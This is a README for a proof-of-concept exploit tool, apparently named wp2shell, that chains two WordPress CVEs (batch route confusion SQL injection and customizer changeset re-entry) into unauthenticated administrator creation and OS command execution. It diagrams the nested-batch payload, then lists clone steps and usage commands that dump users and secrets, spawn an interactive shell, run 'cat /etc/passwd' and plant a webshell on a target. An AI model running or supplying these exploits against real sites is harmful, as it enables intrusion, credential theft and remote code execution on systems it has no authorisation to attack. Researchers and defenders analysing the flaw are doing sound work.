
PoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell
Pre-authentication remote code execution for WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1.
Chains CVE-2026-63030 (batch route confusion SQLi) with CVE-2026-60137 (customizer changeset re-entry) to achieve unauthenticated administrator creation and OS command execution. No password cracking required.

Props to hashkitten for the discovery, read the full SLCyber technical analysis here.
WordPress's REST API batch processor (serve_batch_request_v1) has an off-by-one indexing bug: when wp_parse_url() fails on a sub-request path, the resulting WP_Error is pushed to $validation[] but not $matches[]. This desynchronizes the two arrays — every subsequent request is dispatched under the wrong handler.
By nesting a carefully structured batch inside another batch, an attacker can:
author__not_in (the string→array cast skips absint())UNION SELECT to poison WordPress's object cache with fake post objectsOnce setup is complete (discovering table prefix and admin ID), the escalation payload fires in a single HTTP request — cache poisoning, privilege escalation, and user creation all happen server-side in one round-trip.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
Cache Poisoning (7 fake posts via UNION):
[embed] shortcode in its contentcustomize_changeset, status future, date in past)post_type=nav_menu_item for the is_nav_menu_item check)post_type=request, post_status=parse, parent=inner)Execution Flow:
[embed] shortcode fireswp_update_postwp_update_post reads the cached changeset (parent=outer) → hierarchy check detects Loop 1future status → auto-converts to publish_wp_customize_publish_changeset fires → wp_set_current_user(admin_id) → admin context activenav_menu_item[real_id] — cache says type=nav_menu_item → UPDATE pathobject_id resolves to a cached post with post_parent=re-entry → wp_update_post on real post$post_id) detects Loop 2 (re-entry ↔ inner)wp_update_post(re-entry) → writes type=request, status=parse to DBwp_transition_post_status fires do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users in the tail succeeds → administrator created → die()An anti-recursion MySQL session variable (@_wp2s) ensures the chain fires exactly once and doesn't loop.
--cleanup deletes the created user and removes the webshell on exitgit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
No pip install, no virtualenv. It's one file.
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i